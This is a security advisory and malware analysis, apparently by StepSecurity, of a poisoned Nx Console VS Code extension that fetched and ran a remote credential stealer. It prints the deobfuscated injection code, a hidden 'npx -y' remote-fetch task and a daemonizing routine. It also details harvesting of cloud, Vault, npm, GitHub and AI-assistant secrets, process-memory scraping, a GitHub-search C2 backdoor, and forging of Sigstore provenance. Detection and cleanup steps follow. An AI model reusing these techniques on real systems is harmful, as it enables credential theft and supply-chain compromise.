广受欢迎的 Nx Console 扩展(安装量超过 220 万)在 18.95.0 版本中被植入恶意代码,该版本专门针对开发者凭证、云基础设施令牌以及 CI/CD 密钥进行攻击。
更新: 2026 年 5 月 19 日,GitHub 公开发布公告,称其约 3800 个内部源代码仓库在一名员工的设备因一个被投毒的 VS Code 扩展而遭到入侵后遭到泄露。虽然 GitHub 未正式点名该扩展,但 Nx 首席执行官 Jeff Cross 证实 Nx 正与 Microsoft 和 GitHub 合作评估恶意 Nx Console 18.95.0 版本的影响,并指出实际安装量可能超过 6000 次,远高于 Microsoft 最初报告的 28 次。TeamPCP 是 GitHub 入侵事件的幕后黑手,目前正试图出售被盗数据。
2026 年 5 月 18 日,Nx Console VS Code 扩展的篡改版本(nrwl.angular-console v18.95.0)被发布到 Visual Studio Code Marketplace。该扩展拥有超过 220 万次安装。开发者在 VS Code 中打开任何工作区的瞬间,被篡改的扩展就会在几秒内静默从官方 nrwl/nx GitHub 仓库中一个悬空的孤立提交里获取并执行一个 498 KB 的混淆有效载荷。如果您已安装此版本,请假设您的系统已被入侵。
该有效载荷是一个多阶段凭证窃取器和供应链投毒工具。它从 GitHub、npm、AWS、HashiCorp Vault、Kubernetes 和 1Password 中收集令牌和密钥,然后通过三个独立渠道将它们外泄:HTTPS、GitHub API 和 DNS 隧道。它还在 macOS 上安装了一个持久的 Python 后门,该后门使用 GitHub Search API 作为死 Drop 通信通道来接收进一步使用 4096 位 RSA 密钥签名的命令。
这是不到一年内针对 Nx 生态系统的第二次供应链攻击。2025 年 8 月的事件直接针对 npm 包。这次新攻击则转向 VS Code 扩展分发渠道,利用被盗的贡献者 GitHub 令牌作为初始访问向量。根据官方公告,恶意版本在发布后约 11 分钟内被 Nx 团队从 marketplace 中撤下。
一个值得注意的能力是:有效载荷包含完整的 Sigstore 集成,包括 Fulcio 证书颁发和 SLSA 溯源生成。结合被盗的 npm OIDC 令牌,这意味着攻击者可以使用有效的加密签名溯源证明发布下游 npm 包,使恶意包看起来像合法的已验证构建。该有效载荷还专门针对 Claude Code 配置文件(~/.claude/settings.json),这标志着可能是首批设计用于窃取 AI 编程助手凭证和配置的攻击之一。
防范被篡改的 IDE 扩展
使用 StepSecurity Dev Machine Guard 保护您的开发者机器
保护您的开发者免受类似 nrwl.angular-console@18.95.0 等被篡改的 IDE 扩展的侵害。Dev Machine Guard 可在几分钟内检测并阻止整个机群中的恶意扩展。作为轻量级脚本通过您现有的 MDM 部署。
受影响的版本
- 受影响版本: v18.95.0
OpenVSX 未受影响。
Nx Console 如何被入侵
Nx 团队在官方公告中确认了根本原因:"此次入侵是由于最近的供应链攻击窃取了某位贡献者的 GitHub 令牌。" 维护者 MaxKless 在 Issue #3139 中确认:"我们团队的某位成员是最近的供应链攻击的受害者。"
攻击链涉及三个步骤:
第一步:通过之前的供应链攻击窃取贡献者令牌
一位贡献者的 GitHub 个人访问令牌在另一起较早的供应链攻击中被窃取。具体是哪次之前的攻击尚未公开确认。被盗令牌属于一个对 nrwl/nx 仓库具有推送权限的账户,并且直接或间接地拥有 VS Code Marketplace 发布凭据(VSCE_PAT)。
第二步:在 nrwl/nx 中植入悬空孤立提交
在 5 月 18 日 UTC 时间 03:18,攻击者使用被盗令牌向 nrwl/nx 推送了一个孤立提交。该提交(558b09d7)有零个父提交。它不从任何分支可达。GitHub API 返回 "No common ancestor between master and 558b09d7"。只有当您已经知道 SHA 时才能获取它。
该提交被归属于 Zachary DeRose(zack@nrwl.io),他是 Nx 的前贡献者,已不再是 nrwl GitHub 组织的公开成员。DeRose 所有最近的合法提交都经过 GPG 签名。此提交未签名。提交信息是一个社会工程学手段:"24 小时内不要删除此提交,否则清洗器会激活。"威胁是虚假的,但旨在延迟任何发现它的人进行清理。
该提交的树将整个 Nx 单体仓库替换为仅两个文件:
{
"name": "nx-next",
"version": "1.0.0",
"bin": { "nx-next": "./index.js" },
"dependencies": { "bun": "^1.3.14" }
}对 bun 的依赖是有意的:498 KB 的 index.js 有效载荷以 shebang #!/usr/bin/env bun 开头,并使用 Bun API 实现持久化。bun npm 包作为副作用安装了 Bun 运行时,为有效载荷提供执行环境。
第三步:直接向 VS Code Marketplace 发布恶意扩展
UTC 时间 12:36,攻击者将 nrwl.angular-console v18.95.0 发布到 VS Code Marketplace。该扩展由攻击者本地构建,将 2,777 字节的恶意代码注入到压缩后的 main.js 中。发布使用的是被盗的 VSCE_PAT 凭据。
Nx 团队在 11 分钟内检测到恶意发布,并在 UTC 时间 12:47 从 marketplace 中移除了该扩展。
攻击链:逐阶段详解
下图展示了完整的攻击流程,从初始令牌窃取到凭证外泄和持久后门安装。
第一阶段:扩展激活触发有效载荷获取
main.js 中的注入代码在开发者打开 VS Code 中任何工作区的瞬间运行。函数 Efn(td) 从扩展的 activate() 入口点调用。它检查 VS Code 的 globalState 中的键 nxConsole.mcpExtensionInstalledSha。如果存储的值与硬编码的 SHA 不匹配,它会创建一个后台 VS Code Task:
// Deobfuscated injection (2,777 bytes added at byte offset 7,703,700 in main.js)
var U0 = require("vscode"),
G5t = "558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2",
xfn = "nxConsole.mcpExtensionInstalledSha",
$xs = new Set([127, 9009]); // known error codes to ignore
async function Uxs(t, e) {
let n = \`npx -y github:nrwl/nx#${G5t}\`;
let i = new U0.Task(
{ type: "nx" },
U0.TaskScope.Workspace,
"install-mcp-extension", // disguised task name
"nx",
new U0.ShellExecution(n, {
cwd: e,
env: { ...process.env, NX_CONSOLE: "true" }
})
);
i.presentationOptions.focus = false; // hidden from user
// On exit code 0, stores SHA in globalState to prevent re-fire
// Silently swallows errors
}
function Efn(t) {
if (t.globalState.get(xfn) !== G5t) {
let n = U0.workspace.workspaceFolders[0].uri.fsPath;
Uxs(t, n);
}
// ... continues with legitimate nx.init command registration
}任务名称 "install-mcp-extension" 伪装成合法的 Nx Console 功能。-y 标志在 npx 上自动确认安装,不会提示用户。任务的 presentationOptions.focus 设置为 false,防止终端面板抢占焦点。一旦有效载荷成功运行,SHA 将存储在 globalState 中,这样扩展就不会在后续打开工作区时再次触发。
第二阶段:孤立提交投递混淆 Dropper
当 npx -y github:nrwl/nx#558b09d7 运行时,npm 从 nrwl/nx 仓库中获取该 SHA 处的 Git 树。由于该提交将整个单体仓库根替换为 package.json 和 index.js,npm 将其视为一个名为 nx-next 的独立包。它安装声明的依赖(bun@^1.3.14),该依赖提供 Bun 运行时,然后通过 bin 入口执行 index.js。
index.js 文件是 498,567 字节的混淆 JavaScript,仅压缩为两行。它使用obfuscator.io 风格的混淆,具有多层结构:
- 带自定义 Base64 的字符串表: 一个 1,729 条目的数组,使用自定义字母表解码,其中小写字母位于大写字母之前。该数组在启动时由一个 IIFE 随机排列,该 IIFE 轮换元素直到校验和(
0x863d1)匹配。 - PBKDF2 加密的二级字符串解密: 第二层使用 SHA-512 的 200,000 次迭代从
pbkdf2Sync派生解密密钥。全局解密函数f331366c0()在运行时解密字符串。 - 十六进制标识符混淆: 所有变量使用
_0x28c040这样的名称。属性访问通过字符串表路由:obj[_0x28c040(0x2ef)]。 - 14 个加密的二进制 blobs: 大型资源(shell 脚本、RSA 公钥、持久化有效载荷)作为加密数据嵌入,在模块加载时解密。
该有效载荷导入了 17 个 Node.js/Bun 内置模块,除了已获取的内容外无需外部依赖。Dropper 的 package.json 中没有会触发扫描工具的 preinstall / postinstall 钩子。实际执行通过 bin 字段进行。
第三阶段:反分析门控
入口点函数 UP() 在执行主有效载荷之前运行多项检查:
- CPU 数量门控: 如果
os.cpus().length < 4,有效载荷以代码 0 干净退出。这会跳过大多数默认 Docker 容器和轻量级 VM,减少在分析沙箱中执行的机会。 - 自我排除: 函数
WP()检查GITHUB_WORKFLOW_REF和GITHUB_REPOSITORY以避免在攻击者自己的基础设施上执行。 - 地理位置过滤器: 使用
Intl.DateTimeFormat().resolvedOptions().timeZone和与区域设置相关的环境变量。根据代码结构,它可能排除俄罗斯/CIS 时区。 - 锁文件: 在
os.tmpdir()中创建包含进程 PID 的锁文件以防止重复执行。
第四阶段:自守护进程化
如果门控检查通过,有效载荷会将自己分叉为分离的后台进程:
// Reconstructed from deobfuscated source
function h1() {
if (process.env.__DAEMONIZED) return false;
spawn(process.execPath, process.argv.slice(1), {
detached: true,
stdio: 'ignore',
cwd: process.cwd(),
env: { ...process.env, __DAEMONIZED: '1' }
});
child.unref();
return true; // parent exits, daemon continues
}父进程返回退出代码 0,使 VS Code 任务看起来正常完成。守护进程进程不继承 stdio,使其在 VS Code 终端中不可见。__DAEMONIZED 环境变量防止递归分叉。
第五阶段:凭证收集
守护进程并行运行六个专门的收集器类,以及对任何发现的 GitHub 令牌进行动态的每个仓库收集器:
- Vault(类
v0):读取 8+ 个文件路径(~/.vault-token、/etc/vault/token、/run/secrets/VAULT_TOKEN等),尝试 K8s 认证(/v1/auth/kubernetes/login)和 AWS IAM 认证(/v1/auth/aws/login) - npm(类
D0):读取.npmrc,通过/-/whoami验证,枚举组织和维护者包,通过/-/npm/v1/oidc/token/exchange/package/交换 OIDC 令牌 - AWS(类
j0):查询 IMDS(169.254.169.254)、ECS 元数据(169.254.170.2),读取 Web Identity 令牌,枚举 Secrets Manager 和 SSM Parameter Store,执行 SigV4 签名请求 - GitHub(类
f0):模式匹配ghp_、gho_、ghs_令牌;查询/actions/secrets和/actions/organization-secrets;通过/proc/*/mem抓取 runner 进程内存 - 文件系统(类
p0):正则表达式扫描私钥、连接字符串、GCP 服务账号、Docker 注册表认证、Claude Code 配置(~/.claude/) - 1Password(类
s0):与opCLI 交互以列出保管库和检索密钥
在 Linux 主机上,有效载荷还尝试通过探测无密码 sudo(sudo -n true)进行权限提升。如果成功,它会注入一条 sudoers 规则来授予完全无密码访问权限。有效载荷还读取 /proc/*/mem 并使用模式匹配扫描进程内存中的密钥:
tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u这种技术直接从进程内存中提取密钥,绕过应用程序级别的密钥屏蔽。
第六阶段:多渠道外泄
收集的凭证由 A0 类缓冲,直到达到 102,400 字节的刷新阈值,然后通过三个独立的传输渠道分派。任何一个渠道成功都足以满足攻击者:
- HTTPS POST(类
iu):通过端口 443 向 C2 域名发送加密数据。该域名在有效载荷中被双重加密(字符串表 + PBKDF2),无法仅通过静态分析恢复。它通过检查 HTTP 400 或 404 响应来验证可达性。连接超时:5 秒。 - GitHub API(类
i0):使用任何发现的 GitHub 令牌通过在受害者自己的仓库上创建提交或产物来外泄数据。 - DNS 隧道(类
tr):通过dns模块将加密数据编码到 DNS 查询中。
所有外泄数据使用混合加密方案:用随机 AES-256-GCM 密钥加密数据,然后用攻击者嵌入的 RSA 公钥加密 AES 密钥本身(RSA-OAEP、SHA-256)。数据在加密前使用 zlib 压缩。
第七阶段:Sigstore 证明伪造
有效载荷包含与 Sigstore 生态系统交互的端点和逻辑:
https://fulcio.sigstore.dev用于获取签名证书https://rekor.sigstore.dev用于向透明日志提交条目https://slsa.dev/provenance/v1用于生成 SLSA 溯源证明https://in-toto.io/Statement/v1用于创建 in-toto 证明语句registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/用于 npm OIDC 信任发布流程
这意味着攻击者可以窃取 OIDC 令牌,获取合法的 Sigstore 签名证书,并发布带有有效可验证溯源的 npm 包。依赖 npm audit signatures 或溯源检查的下游消费者会将这些包视为合法构建和签名。
第八阶段:通过 Python C2 后门实现持久化
有效载荷写入 ~/.local/share/kitty/cat.py,这是一个基于 Python 的命令和控制后门,并通过 macOS LaunchAgent 在 ~/Library/LaunchAgents/com.user.kitty-monitor.plist 处将其注册为自动执行,使用 RunAtLoad=true 和 StartInterval=3600(每小时)。
Python 后门使用 GitHub Search API 作为死 Drop 通信通道:
- 每小时轮询:
GET api.github.com/search/commits?q=firedalazer&sort=committer-date&order=desc&per_page=1 - 解析最新匹配提交消息,格式为:
firedalazer <base64-url>.<base64-signature> - 使用嵌入的 4096 位 RSA 公钥通过 RSA-PSS 和 MGF1 以及 SHA-256 验证签名
- 如果有效,下载 URL 并使用
python3执行(超时 300 秒,stdout/stderr 丢弃) - 将执行状态记录到
/var/tmp/.gh_update_state用于反重放
签名验证意味着只有持有对应私钥的攻击者才能发出命令。使用 GitHub Search 作为 C2 通道是有效的,因为对 api.github.com 的 API 调用不太可能被企业防火墙或端点检测工具标记。
在至少三个已确认的案例中,Python 后门因 requests 模块未安装而 pip install 也失败,未能建立其 C2 循环。但是,混淆的 JavaScript 有效载荷在 Python 阶段之前就已运行完毕,因此应假定 JavaScript 收集器阶段的凭证外泄成功。
混淆技术
498 KB 的有效载荷使用四层不同的混淆,每层旨在击败不同类别的分析工具:
第一层:带自定义 Base64 的字符串表
1,729 条目的字符串数组(_0x24dc())存储每个敏感字符串。解码函数 _0x8a48() 使用自定义 Base64 字母表,其中小写字母位于大写字母之前,与标准 RFC 4648 字母表相反。在启动时,一个 IIFE 使用 push/shift 操作轮换数组,直到整数校验和(0x863d1 = 549,841 十进制)满足。轮换次数未存储;代码在初始化时暴力破解它。
第二层:PBKDF2 加密的二级解密
类 eu 通过使用 SHA-512 的 200,000 次迭代的 pbkdf2Sync 派生解密密钥,产生 32 字节密钥。全局函数 f331366c0() 使用 SHA-256 派生的子密钥执行多轮 XOR 解密。每个敏感常量(C2 域名、环境变量名、文件路径、API 端点)都在这一层后面。C2 域名、C2 路径和所有 84 个加密环境变量名如果不执行 PBKDF2 密钥派生就无法恢复。
第三层:十六进制标识符混淆
所有函数和变量名都替换为十六进制标识符:_0x28c040、_0x2683df。属性访问通过字符串表路由(obj[_0x28c040(0x2ef)] 而不是 obj.property),使控制流分析变得极其繁琐。
第四层:加密二进制 Blobs
14 个大型数据 blobs 作为加密有效载荷嵌入,在模块加载时通过函数 k() 解码。这些包括用于加密外泄数据的 RSA 公钥、用于持久化的 shell 脚本以及 Python C2 后门源代码。加密密钥从与第二层相同的 PBKDF2 基础设施派生。
入侵指标
文件哈希(SHA-256)
- 恶意 VSIX(v18.95.0):
1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8 - 恶意 main.js(在 VSIX 中):
b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74 - 混淆有效载荷(来自孤立提交的 index.js):
e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1 - Dropper package.json:
43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9 - 干净 VSIX(v18.94.0):
228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3 - 已修复 VSIX(v18.100.0):
cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990
Git 对象 SHA
- 恶意孤立提交:
558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 - 提交树:
ba642fe2c7c65e42dd7f6444b83023dc6827e08c - index.js blob:
acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf - package.json blob:
9d88f040c44b5f4d5f9db15ff89310776c168e99
网络指标
api.github.com/search/commits?q=firedalazer-- Python C2 死 Drop 轮询- 端口 443 上的加密 C2 域名 -- HTTPS 外泄(无法通过静态分析恢复)
169.254.169.254-- AWS IMDS 凭证窃取169.254.170.2-- ECS 容器凭证端点127.0.0.1:8200-- HashiCorp Vault 本地端点fulcio.sigstore.dev/rekor.sigstore.dev-- Sigstore 证明伪造bun.sh/install-- 用于持久化的运行时安装- DNS 隧道查询 -- 备份外泄渠道
文件系统指标
有效载荷使用跨平台 Node.js API(os.homedir()、os.tmpdir())在运行时解析路径,因此相同的产物出现在特定平台的位置。
macOS / Linux:
~/.local/share/kitty/cat.py-- Python C2 后门~/Library/LaunchAgents/com.user.kitty-monitor.plist-- macOS 持久化(RunAtLoad + 每小时)/tmp/kitty-*-- 临时持久化暂存目录/var/tmp/.gh_update_state-- C2 反重放状态文件
Windows:
%USERPROFILE%\.local\share\kitty\cat.py-- Python C2 后门%TEMP%\kitty-*-- 临时持久化暂存目录%TEMP%\.gh_update_state-- C2 反重放状态文件%USERPROFILE%\.bun\bin\bun.exe-- 为持久化安装的 Bun 运行时
注意: 在 macOS 上,有效载荷通过 LaunchAgent 实现持久化。确切的 Windows 持久化机制在有效载荷中加密,无法通过静态分析单独确定,但注入的扩展代码明确处理 Windows 错误代码 9009(相当于"命令未找到"的 cmd.exe 等效项),确认 Windows 是计划目标。检查计划任务、注册表 Run 键和启动文件夹作为可能的目标。
检测信号
- VS Code 扩展
nrwl.angular-console版本恰好为18.95.0 - VS Code
globalState键nxConsole.mcpExtensionInstalledSha设置为558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 github:nrwl/nx#558b09d7的 npm 缓存条目- 运行进程中设置的环境变量
__DAEMONIZED=1 - 从
/tmp/kitty-*路径运行的 Bun 或 Node.js 进程 - 参数中包含
cat.py的python3进程 - 开发者机器上意外的端口 443 出站 HTTPS 流量
我是否受到影响?
如果您同时满足以下三个条件,则可能受到影响:
- 您在 VS Code、Cursor 或任何基于 VS Code 的编辑器中安装了 Nx Console 扩展
- 您的编辑器在 2026 年 5 月 18 日 12:36 至 12:47 UTC(中欧夏令时下午 2:36 - 2:47)之间启用了自动更新
- 您在该更新期间或之后打开了工作区
检查您安装的版本:
code --list-extensions --show-versions | grep angular-console如果您看到 18.95.0,则您受到影响。还要检查持久化产物:
macOS / Linux:
# Check for Python C2 backdoor
ls -la ~/.local/share/kitty/cat.py
# Check for macOS LaunchAgent
ls -la ~/Library/LaunchAgents/com.user.kitty-monitor.plist
# Check for anti-replay state
ls -la /var/tmp/.gh_update_state
# Check for staging directories
ls -d /tmp/kitty-* 2>/dev/nullWindows(PowerShell):
# Check for Python C2 backdoor
Test-Path "$env:USERPROFILE\.local\share\kitty\cat.py"
# Check for staging directories
Get-ChildItem "$env:TEMP\kitty-*" -ErrorAction SilentlyContinue
# Check for anti-replay state
Test-Path "$env:TEMP\.gh_update_state"
# Check for Bun runtime installed for persistence
Test-Path "$env:USERPROFILE\.bun\bin\bun.exe"
# Check npm cache for evidence of malicious package fetch
Get-ChildItem "$env:APPDATA\npm-cache" -Recurse -Filter "*.json" |
Select-String "558b09d7" -List
# Check for daemonized or persistence processes
Get-CimInstance Win32_Process |
Where-Object { $_.CommandLine -match "kitty|cat\.py|558b09d7|__DAEMONIZED" } |
Select-Object ProcessId, CommandLine
# Check Scheduled Tasks for persistence
schtasks /query /fo LIST /v | Select-String -Pattern "kitty|cat\.py|bun" -Context 3
# Check Registry Run keys for persistence
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" -ErrorAction SilentlyContinue
# Check Startup folder
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"给社区的恢复步骤
使用 Dev Machine Guard 检测被篡改的扩展
StepSecurity Dev Machine Guard 是一个免费的、开源的工具,可帮助开发者检测其本地机器上被篡改的扩展和包。安装并以社区模式运行它,查看您机器上安装的 VS Code 扩展完整列表,并快速识别是否存在受影响版本。您可以按照 GitHub 仓库中的说明使用 Dev Machine Guard:https://github.com/step-security/dev-machine-guard
这将枚举所有已安装的扩展及其版本,并标记任何已知被篡改的版本,包括 nrwl.angular-console@18.95.0。
./stepsecurity-dev-machine-guard-1.11.1-darwin
✓ Gathering device information (72ms)
✓ Detecting IDE installations (942ms)
✓ Detecting AI agents and tools (852ms)
✓ Collecting MCP configurations (2ms)
✓ Collecting IDE extensions (20ms)
○ Node.js package scanning (skipped)
○ Homebrew package scanning (skipped)
○ Python package scanning (skipped)
┌──────────────────────────────────────────────────────────┐
│ StepSecurity Dev Machine Guard v1.11.1 │
│ https://github.com/step-security/dev-machine-guard │
└──────────────────────────────────────────────────────────┘
Scanned at 2026-05-18 14:19:53
DEVICE
Hostname ashishs-Virtual-Machine.local
Serial ZFY1H4KQD5
macOS 26.3.1
User ashish
SUMMARY
AI Agents and Tools 3
IDEs & Desktop Apps 3
IDE Extensions 45
MCP Servers 3
AI AGENTS AND TOOLS 3 found
...
IDE EXTENSIONS 45 found
Visual Studio Code 33 found
dbaeumer.vscode-eslint v3.0.24 dbaeumer
...
nrwl.angular-console v18.95.0 nrwl此次事件的恢复范围比轮换存储在磁盘上的凭证更广泛。有效载荷运行专门的收集器类,深入密码管理器、云元数据服务以及使用机器上存在的凭证访问远程密钥保管库。任何可以从受影响工作站访问的密钥都应被视为已泄露,即使它从未写入文件。
停止正在进行的执行
- 立即将 Nx Console 更新到版本 18.100.0 或更高版本。
- 终止可能在此初始清理中幸存的任何孤立守护进程:
pkill -f __DAEMONIZED pkill -f "kitty-" pkill -f "cat.py" - 移除持久化产物:
- macOS / Linux:
rm -f ~/.local/share/kitty/cat.py rm -f ~/Library/LaunchAgents/com.user.kitty-monitor.plist launchctl unload ~/Library/LaunchAgents/com.user.kitty-monitor.plist 2>/dev/null rm -rf /tmp/kitty-* rm -f /var/tmp/.gh_update_state- Windows(PowerShell):
Remove-Item "$env:USERPROFILE\.local\share\kitty" -Recurse -Force -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\kitty-*" -Recurse -Force -ErrorAction SilentlyContinue Remove-Item "$env:TEMP\.gh_update_state" -Force -ErrorAction SilentlyContinue # Check and remove any Scheduled Tasks related to the backdoor schtasks /query /fo LIST /v | Select-String -Pattern "kitty|cat\.py" -Context 3 # If found: schtasks /delete /tn "TASK_NAME_HERE" /f # Check and remove Registry Run key entries Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue | Select-Object * | Where-Object { $_ -match "kitty|cat\.py|bun" }- 轮换磁盘上的所有凭证: GitHub 令牌、npm 令牌、SSH 密钥、AWS 凭证、云 CLI 令牌、HashiCorp Vault 令牌、API 密钥、数据库密码以及项目中
.env文件中的任何密钥。 - 审计您的 npm 包是否有未经授权的发布,如果您是包维护者。有效载荷可以伪造 Sigstore 证明,因此检查您未发布的新版本。
- 检查 GitHub 审计日志
github.com/settings/security-log是否有任何意外的仓库创建、令牌创建或 API 活动。
轮换可从受影响机器访问的每个凭证
轮换以下每个类别,而不仅仅是写入磁盘的密钥。
- 磁盘上的本地凭证: GitHub 令牌(
~/.config/gh、~/.gitconfig)、npm 令牌(~/.npmrc)、SSH 私钥(~/.ssh/)、AWS 凭证(~/.aws/credentials)、Azure 和 GCP CLI 令牌、HashiCorp Vault 令牌(~/.vault-token)、API 密钥、数据库密码以及项目中.env文件中的任何密钥。 - 通过 CLI 检索的 1Password 保管库项目: 1Password 收集器调用
opCLI 列出保管库和读取项目。打开 1Password 管理控制台,审查每个保管库的项目访问历史记录,并轮换在入侵窗口期间被访问的每个项目。这甚至适用于专门采用 1Password CLI 以避免将密钥存储在磁盘上的团队。在运行时获取的密钥仍然可以被作为用户运行的任何内容读取。 - 被盗令牌可访问的 HashiCorp Vault 密钥: 除了轮换令牌外,还要审查 Vault 审计设备日志并轮换令牌可读取的每个密钥。如果配置了 Kubernetes 认证或 AWS IAM 认证方法,还要轮换底层服务账号和 IAM 角色。
- AWS Secrets Manager 和 SSM Parameter Store 条目: AWS 收集器使用本地 AWS 凭证、IMDS 或 ECS 任务角色凭证枚举两个服务。审查 CloudTrail,查找入侵窗口期间受影响主体对
GetSecretValue、GetParameter和GetParametersByPath的调用,并轮换被读取的任何值。如果机器通过 IMDS 担任了 EC2 实例角色或 ECS 任务角色,轮换该角色的凭证及其可访问的每个密钥。 - 仓库和组织级别的 GitHub Actions 密钥: GitHub 收集器查询被盗令牌可访问的每个仓库和组织的
/repos/{owner}/{repo}/actions/secrets和/orgs/{org}/actions/secrets。轮换令牌具有所需访问权限的每个仓库和组织中的 Actions 密钥,而不仅仅是开发者个人使用的那些。 - Kubernetes 凭证: 轮换 kubeconfig 条目、在
/var/run/secrets/kubernetes.io/serviceaccount/处挂载的集群内服务账号令牌,以及在 Vault 中配置的任何 Kubernetes 认证角色。 - AI 编程助手凭证: 文件系统收集器专门针对
~/.claude/。轮换 Anthropic API 密钥,轮换settings.json中引用的任何 MCP 服务器的凭证,并审查这些 MCP 服务器是否有意外活动。 - 驻留在进程内存中的密钥: 在 Linux 上,有效载荷读取
/proc/*/mem并对运行中的进程进行模式匹配以查找令牌。入侵窗口期间机器上任何进程在内存中持有的任何密钥都应被视为已泄露。这包括传递给 IDE、终端会话、本地开发服务器和 CI runner 代理的环境变量。
审计机器可访问的每个系统的日志
- GitHub: 审查
github.com/settings/security-log是否有意外的仓库创建、个人访问令牌创建、SSH 密钥添加和 OAuth 应用授权。组织所有者还应审查组织审计日志中的成员资格变更、仓库转移和 Actions 工作流修改。 - 仓库篡改审计: 攻击者持有具有推送访问权限的有效 GitHub 令牌。审计开发者可写的每个仓库的最近提交和强制推送,特别注意
.github/workflows/下的更改。 - 1Password: 使用 设置、安全、登录尝试 下的活动日志和每个保管库的项目级访问历史来枚举入侵窗口期间被读取的确切项目。
- HashiCorp Vault: 拉取入侵窗口期间的审计设备日志,识别被盗令牌读取的每个密钥路径。
- AWS CloudTrail: 搜索入侵窗口期间受影响 IAM 主体的活动,重点关注
GetSecretValue、GetParameter、GetParametersByPath、AssumeRole和控制台登录。 - npm 和 Sigstore(适用于包维护者): 审查
npmjs.com/settings/[username]/tokens下的令牌、您维护的每个包的发版历史,以及search.sigstore.dev处的 Sigstore 透明日志,查找您身份下意外证明。由于有效载荷可以生成有效的签名溯源,不要仅依赖签名验证。检查最近发布的版本的文件内容。
重建开发者机器
有效载荷作为用户获得了代码执行,在 Linux 上尝试了提权至 root,安装了轮询 GitHub Search API 获取签名命令的持久化机制,并可能进行了超出上面列出的清理命令的更改。对于高敏感环境,最安全的路径是在凭证轮换后重新镜像受影响机器,而不是依赖有针对性的清理。
对于 StepSecurity Enterprise 客户
威胁情报
StepSecurity 威胁情报已使用此事件的所有入侵指标更新,包括恶意 VSIX 哈希、孤立提交 SHA、网络 IoC 和文件系统指标。启用威胁情报的客户将在其环境中检测到这些指标时自动收到警报。无需手动操作即可接收此特定威胁的覆盖。
Dev Machine Guard
使用 Dev Machine Guard 的企业客户可以使用 IDE Extensions 页面在开发端点上检测受影响的 nrwl.angular-console@18.95.0 VSCode IDE 扩展。
致谢
我们要感谢 Nx 维护者快速响应检测到恶意发布并从 VS Code Marketplace 中撤下被篡改的扩展。GHSA-c9j4-9m59-847w 和 Issue #3139 中展现的透明度为生态系统应如何处理这些事件树立了良好榜样。我们还要感谢识别异常发布并向 Nx 团队报告的开源社区成员,这有助于缩小每个人的暴露窗口。